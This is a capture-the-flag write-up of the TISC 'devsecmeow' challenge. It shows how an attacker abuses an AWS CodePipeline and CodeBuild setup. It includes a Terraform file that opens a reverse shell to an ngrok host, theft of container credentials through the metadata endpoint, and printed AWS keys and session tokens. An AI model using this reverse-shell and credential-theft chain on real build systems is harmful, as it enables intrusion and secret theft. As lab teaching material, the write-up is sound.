Palindrome has accidentally exposed one of their onboarding guide! Sneak in as a new developer and exfiltrate any meaningful intelligence on their production system.
Navigating to the provided URL shows us some very cute images of cats...and also some details about the cloud infrastructure we are meant to attack.
Under the section 2 quick steps to get your staging access , we are provided with 2 URLs:
The first URL generates 2 pre-signed URLS to access the S3 bucket, one for a client.csr , and one for a client.crt .
Upon navigating to these 2 URLs, the first one displays a Signature Mismatched error, and the second one an Access Denied error.
client.csr refers to a certificate request, which is a file that is used to generate a certificate, client.crt . This means that we're likely expected to upload client.csr , which would trigger a lambda function that helps us to generate client.crt for us to download.
First, generate a CSR with OpenSSL.
Copy openssl req -new -newkey rsa:2048 -nodes -keyout client.key -out client.csr
Then use cURL
to upload the file to the provided link.
Copy curl -X PUT -T ./client.csr '<url>'
Now, we should be able to retrieve the generated client.crt from the second link.
With some references to mTLS (mutual TLS), we can assume that the second URL can only be accessed after configuring this in the browser.
First, generates the PKCS#12 file with OpenSSL with the client key and certificate.
Copy openssl pkcs12 -export -out client.p12 -inkey client.key -in client.crt
On Chrome, Open Settings > Privacy > Security > Manage device certificates . Then click Import and select client.p12 .
You should be able to view the certificate in the list now.
Next, navigate to the second URL: https://13.213.29.24/ , ignore the security warning, and select the certificate you just uploaded when prompted.
After awhile, you should see a message that provides a set of AWS credentials.
Configure the credentials with aws configure
and start enumerating the IAM.
First retrieve the username associated with the credentials.
Copy aws sts get-caller-identity
Copy {
"UserId" : "AIDATMLSTF3NSREARR67Q" ,
"Account" : "232705437403" ,
"Arn" : "arn:aws:iam::232705437403:user/agent-c3b4d98720524bd49f33ff88f28edcb1"
}
Then retrieve the list of policies attached to the user.
Copy aws iam list-attached-user-policies --user-name agent-c3b4d98720524bd49f33ff88f28edcb1
Copy {
"AttachedPolicies" : [
{
"PolicyName" : "agent-c3b4d98720524bd49f33ff88f28edcb1" ,
"PolicyArn" : "arn:aws:iam::232705437403:policy/agent-c3b4d98720524bd49f33ff88f28edcb1"
}
]
}
Then retrieve the policy document to find out what permissions we have.
Copy aws iam get-policy-version --policy-arn arn:aws:iam::232705437403:policy/agent-c3b4d98720524bd49f33ff88f28edcb1 --version-id v1
Copy {
"PolicyVersion" : {
"Document" : {
"Version" : "2012-10-17" ,
"Statement" : [
{
"Sid" : "VisualEditor0" ,
"Effect" : "Allow" ,
"Action" : [
"iam:GetPolicy" ,
"ssm:DescribeParameters" ,
"iam:GetPolicyVersion" ,
"iam:List*Policies" ,
"iam:Get*Policy" ,
"kms:ListKeys" ,
"events:ListRules" ,
"events:DescribeRule" ,
"kms:GetKeyPolicy" ,
"codepipeline:ListPipelines" ,
"codebuild:ListProjects" ,
"iam:ListRoles" ,
"codebuild:BatchGetProjects"
] ,
"Resource" : "*"
} ,
{
"Sid" : "VisualEditor2" ,
"Effect" : "Allow" ,
"Action" : [
"iam:ListAttachedUserPolicies"
] ,
"Resource" : "arn:aws:iam::232705437403:user/${aws:username}"
} ,
{
"Sid" : "VisualEditor3" ,
"Effect" : "Allow" ,
"Action" : [
"codepipeline:GetPipeline"
] ,
"Resource" : "arn:aws:codepipeline:ap-southeast-1:232705437403:devsecmeow-pipeline"
} ,
{
"Sid" : "VisualEditor4" ,
"Effect" : "Allow" ,
"Action" : [
"s3:PutObject"
] ,
"Resource" : "arn:aws:s3:::devsecmeow2023zip/*"
}
]
} ,
"VersionId" : "v1" ,
"IsDefaultVersion" : true ,
"CreateDate" : "2023-09-18T15:16:44+00:00"
}
}
The policy document states that we have the following permissions:
Permissions:
CodePipeline
GetPipeline - devsecmeow-pipeline
S3
PutObject - devsecmeow2023zip
Let's try enumerating CodePipeline .
Copy aws codepipeline get-pipeline --name devsecmeow-pipeline
Analyzing the output, you should see that the pipeline takes in input from a rawr.zip in the devsecmeow2023zip S3 bucket.
Copy "configuration" : {
"PollForSourceChanges" : "false" ,
"S3Bucket" : "devsecmeow2023zip" ,
"S3ObjectKey" : "rawr.zip"
}
It then runs the CodeBuild project devsecmeow-build .
Copy "configuration" : {
"ProjectName" : "devsecmeow-build"
}
Next, we can use the batchGetProjects
privilege to retrieve the CodeBuild configuration.
Copy aws codebuild batch-get-projects --name "devsecmeow-build"
We can see that it spins up a container that contains the environment variable flag1
.
Copy "environment" : {
"type" : "LINUX_CONTAINER" ,
"image" : "aws/codebuild/amazonlinux2-x86_64-standard:5.0" ,
"computeType" : "BUILD_GENERAL1_SMALL" ,
"environmentVariables" : [
{
"name" : "flag1" ,
"value" : "/devsecmeow/build/password" ,
"type" : "PARAMETER_STORE"
}
] ,
"privilegedMode" : false ,
"imagePullCredentialsType" : "CODEBUILD"
}
According to the buildspec, the container runs the command terraform plan
.
Copy "source" : {
"type" : "CODEPIPELINE" ,
"buildspec" : "version: 0.2\n\nphases:\n build:\n commands:\n - env\n - cd /usr/bin\n - curl -s -qL -o terraform.zip https://releases.hashicorp.com/terraform/1.4.6/terraform_1.4.6_linux_amd64.zip\n - unzip -o terraform.zip\n - cd \"$CODEBUILD_SRC_DIR\"\n - ls -la \n - terraform init \n - terraform plan\n" ,
"insecureSsl" : false
}
Now, there are 2 ways to achieve command execution to retrieve the first flag.
Using the terraform plan
command to start a reverse shell
Writing a buildspec.yml file to override the default buildspec to run our own commands
We'll go with the first option for this writeup.
First, start a netcat listener and forward the port with ngrok.
Copy ngrok tcp 4444
nc -lvnp 4444
Then, write a terraform file test.tf and compress it into rawr.zip .
Copy data "external" "example" {
program = [ "sh" , "-c" , "/bin/sh -i >& /dev/tcp/0.tcp.ap.ngrok.io/16243 0>&1" ]
}
Next, upload rawr.zip to the S3 bucket to trigger the pipeline and you should receive a shell.
Copy aws s3 cp rawr.zip s3://devsecmeow2023zip/rawr.zip
Run the env
command to retrieve the flag, and you should also see some important information for our next steps.
Copy AWS_CONTAINER_CREDENTIALS_RELATIVE_URI = /v2/credentials/6dd200d9-28ae-4433-9df3-63b8a95d649e
CODEBUILD_ACTION_RUNNER_URL = https://codefactory-ap-southeast-1-prod-default-build-agent-executor.s3.ap-southeast-1.amazonaws.com/cawsrunner.zip
ECS_CONTAINER_METADATA_URI = http://169.254.170.2/v3/9f398293-6dd5-4141-bd8e-b0447f464c64
flag1 = TISC { pr0tecT_
CODEBUILD_SOURCE_VERSION = arn:aws:s3:::devsecmeow2023zip/devsecmeow-pipeline/source_out/Lkod3Lx.zip
We can access the metadata endpoint with the credentials relative URI to retrieve the credentials associated with CodeBuild.
Copy curl http://169.254.170.2/v2/credentials/2e6a50e3-6432-4f9d-a751-d296c7dec0dd
The endpoint responds with AWS credentials and a session token.
Copy ACCESS_KEY_ID=xxxx
SECRET_ACCESS_KEY=xxxx
SESSION_TOKEN=xxxx
Configure a new AWS profile with aws configure --profile=devsecmeow
or enter the following in .aws/credentials for us to enumerate further.
Copy [devsecmeow]
aws_access_key_id = ASIATMLSTF3NYTE4IK6D
aws_secret_access_key = GQwB7neoAja4PtBaE5jwXZIBCwwB+TylQmXKCDQp
aws_session_token = IQoJb3JpZ2luX2VjEBIaDmFwLXNvdXRoZWFzdC0xIkcwRQIgFACcfx2iAK/LVV/8/NAhzkFscoM3kn7JKclyWOCL9iACIQDIWU8Yr9rHJq5zhyuC36/njDxEx0xLUjBQziCmvdLmjiq1AwgbEAAaDDIzMjcwNTQzNzQwMyIMfjUxk5LXHLHl2ZMTKpIDCWzSzFOw2tD9uvJyaKxckq/FOFpmFuGZGl8SWIehekOMp9Y7XlUAmQe/rHssRmvsdLlOYvDtStKRoLnv76ElEEMkmBz/Kgva7Uu9wFfz9yY+hreJulONrmAQMptJvq908idUphAnfRWYHr08lV8D89/Ou68e/x7kxcM/wgM031NfU6ZsWuzcNelSv6qvaVcWewp6FH16s0mvrpISrqR2vi4UMZSfbcg51SQ/Cio3Jao7dcBKCxwosi5NvlSW/G1cNB3+moAFtgYPP+hF1IqDVH+r5LDbKqH+frRtuLw4DVICnNKOS1TU77E619ilr+6ZG2y4ZjKBZcQvQPSEDjIE4gAdeLHb+XpmJFT/FM9KR9AX9IhlEZwVnqRkD1tHIUtJQ+oDGziE6rQu1T66UQ8RKGso6/oQy5iuzvnplTHlEHvEc1dqQqpnFTkqG38obocpRZZolvTCuhR6KVI87YQmpkenM1N6vIvKiGWshe7Q4bR+xpUuWkaa1M2HbXnHdGNhzzeUYni7GOA3RHg506nCwUnfMPT966gGOpMBb6pWat7K8kGgJFZgcliN+UDNfInI0kaQgLZ6X4U5kItnCaJwCaX/dw0F2Ju1xLCxA8we/sPOMt2exgexzc3iKoqGnhvAyme1tTma4uKzmK4r9vVYhB9wJoeKBNLkT91hwPfHZRd6fGzpeCmW15hiK+lx7L7TVir0vG7g4d+HnS0GS2aNsFEL3H39OO3HvgJRiMzo
Using this new profile to run any command that the profile does not have privileges for, we see that we are currently assuming the codebuild-role role
Using the previous credentials we can list all IAM policies.
Copy aws iam list-policies
One of the policies stands out, iam_policy_for_ec2_production_role
. Similarly, view the policy document.
Copy aws iam get-policy-version --policy-arn arn:aws:iam::232705437403:policy/iam_policy_for_ec2_production_role --version-id v1
Copy {
"PolicyVersion" : {
"Document" : {
"Statement" : [
{
"Action" : [
"s3:GetObject"
] ,
"Effect" : "Allow" ,
"Resource" : [
"arn:aws:s3:::devsecmeow2023flag2/index.html"
] ,
"Sid" : "VisualEditor0"
}
] ,
"Version" : "2012-10-17"
} ,
"VersionId" : "v1" ,
"IsDefaultVersion" : true ,
"CreateDate" : "2023-07-21T15:05:07+00:00"
}
}
We can see that EC2 instances with a role with this policy attached are able to access the S3 bucket associated with flag2. Therefore we know that we have to take over a production EC2 instance.
As CodeBuild spins up an EC2 instance to build the source code, its credentials should carry permissions that allow us to enumerate or even access EC2. We can verify this by using the initial profile which has IAM permissions, to list the role policies assigned to our assumed role.
Copy aws iam list-role-policies --role-name codebuild-role
aws iam get-role-policy --role-name codebuild-role --policy-name policy_code_build
Copy {
"Action" : "ec2:DescribeInstance*" ,
"Effect" : "Allow" ,
"Resource" : "*"
}
We see that we have the permission "ec2:DescribeInstance*" which means we could list all of the EC2 instances.
Copy aws ec2 describe-instances --profile devsecmeow
The output of the command shows 2 EC2 instances, one each for staging and production (with the public IP 54.255.155.134 )
Navigating to https://54.255.155.134 shows us a a similar error regarding an invalid certificate. This likely means we have to configure mTLS again.
The action in the codebuild-role
role policy, "ec2:DescribeInstance*
", states that we could also list the attributes associated with the EC2 instances.
Enumerating the instance attributes, we find some useful information from the UserData attribute.
Copy aws ec2 describe-instance-attribute --instance-id i-02602bf0cf92a4ee1 --attribute userData --profile devsecmeow
Copy {
"InstanceId" : "i-02602bf0cf92a4ee1" ,
"UserData" : {
"Value": "IyEvYmluL2Jhc2gKc3VkbyBhcHQgdXBkYXRlCnN1ZG8gYXB0IHVwZ3JhZGUgLXkgCnN1ZG8gYXB0IGluc3RhbGwgbmdpbnggLXkKc3VkbyBhcHQgaW5zdGFsbCBhd3NjbGkgLXkgCmNhdCA8PFxFT0wgPiAvZXRjL25naW54L25naW54LmNvbmYKdXNlciB3d3ctZGF0YTsKd29ya2VyX3Byb2Nlc3NlcyBhdXRvOwpwaWQgL3J1bi9uZ2lueC5waWQ7CmluY2x1ZGUgL2V0Yy9uZ2lueC9tb2R1bGVzLWVuYWJsZWQvKi5jb25mOwoKZXZlbnRzIHsKCXdvcmtlcl9jb25uZWN0aW9ucyA3Njg7CgkjIG11bHRpX2FjY2VwdCBvbjsKfQoKaHR0cCB7CgoJc2VuZGZpbGUgb247Cgl0Y3Bfbm9wdXNoIG9uOwoJdGNwX25vZGVsYXkgb247CglrZWVwYWxpdmVfdGltZW91dCA2NTsKCXR5cGVzX2hhc2hfbWF4X3NpemUgMjA0ODsKCglpbmNsdWRlIC9ldGMvbmdpbngvbWltZS50eXBlczsKCWRlZmF1bHRfdHlwZSBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW07CgoJc2VydmVyIHsKCQlsaXN0ZW4gNDQzIHNzbCBkZWZhdWx0X3NlcnZlcjsKCQlsaXN0ZW4gWzo6XTo0NDMgc3NsIGRlZmF1bHRfc2VydmVyOwoJCXNzbF9wcm90b2NvbHMgVExTdjEgVExTdjEuMSBUTFN2MS4yIFRMU3YxLjM7IAoJCXNzbF9wcmV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NnWUI0QW9McDJWZFpxUTBZUFcxL2JpRFdmUVgzMnJMQU1HbWFnRTZxQlVlVGZaT0dLM0xLCmJ5ODNHYnBHcFd0a3JQZTFaandNTzFwc2dtaEpqaEgxMTNpVDBEVFkxckNoQktwNkluRUF5bWg2VWpneWIzaTEKdFl4WUdjTzBhVERUUjlvYm9GNDFmYnRLY01OaE03bzQ3TUlQWElLanJzZERqc05tRytDT2NkUHNlUUtCZ1FDNQpuaXFiL2R3cmJRUVpCZmtPZFFiRHBpd2RkRGNaZ1NNQVN1cXJXUTdWVHhYMUQ5WUJRTVQvZGVwemdqNnl5anRQCk1LeWpwL3FRS2dFTkF2TmNVNnZtbHVqT0JTT1I1UHhPRVJ5eWNBLzZxM3pXbmJ6bHBWZ3VYWXNraEp6aHB4bDgKTTM3WXhmSkpKUnVDclJsTENSdis1eTVJajU1a3VJWTJPZm15NkRMOXJRS0JnUURlZlRnaVNLVklsTXBaUmlHdApWT0FEME1GZGEvazl0cFRQVDlIZGxMNGI0NG1rTnpQYWlsSkFUSDBYTERxU3d1WG40d0pFZ01Bd3FiTThDR1NvCk9wYXIzZml4U3JpS2t3dVR1RHk4Zk0xZGJwallDaThyS3N3R1VMVHZwRkhKUVpTRHU0K3NDRHhiWlV2OVZUQVMKYVV3ak9lWXlJWmlCK1NRdC9rVVVabTFhY0E9PQotLS0tLUVORCBQUklWQVRFIEtFWS0tLS0tCgpFT0wKYXdzIHMzIGNwIHMzOi8vZGV2c2VjbWVvdzIwMjNmbGFnMi9pbmRleC5odG1sIC90bXAvCnN1ZG8gY3AgL3RtcC9pbmRleC5odG1sIC92YXIvd3d3L2h0bWwKcm0gL3RtcC9pbmRleC5odG1sCnN1ZG8gc3lzdGVtY3RsIHJlc3RhcnQgbmdpbngK"
}
}
After decoding the Base64 encoded value, we find an NGINX configuration file showing that the endpoint requires SSL to access the flag server on port 3000, along with the files server.key , server.crt and ca.crt .
Next, generate the PKCS#12 file for the production site
Copy openssl pkcs12 -export -out server.p12 -inkey server.key -in server.crt
Then configure mTLS like before, navigate to https://54.255.155.134/ , and select the new certificate
And finally, we get more pictures of the cat! and the flag too.
FLAG: TISC{pr0tecT_yOuR_d3vSeCOps_P1peL1nes!!<##:}##>}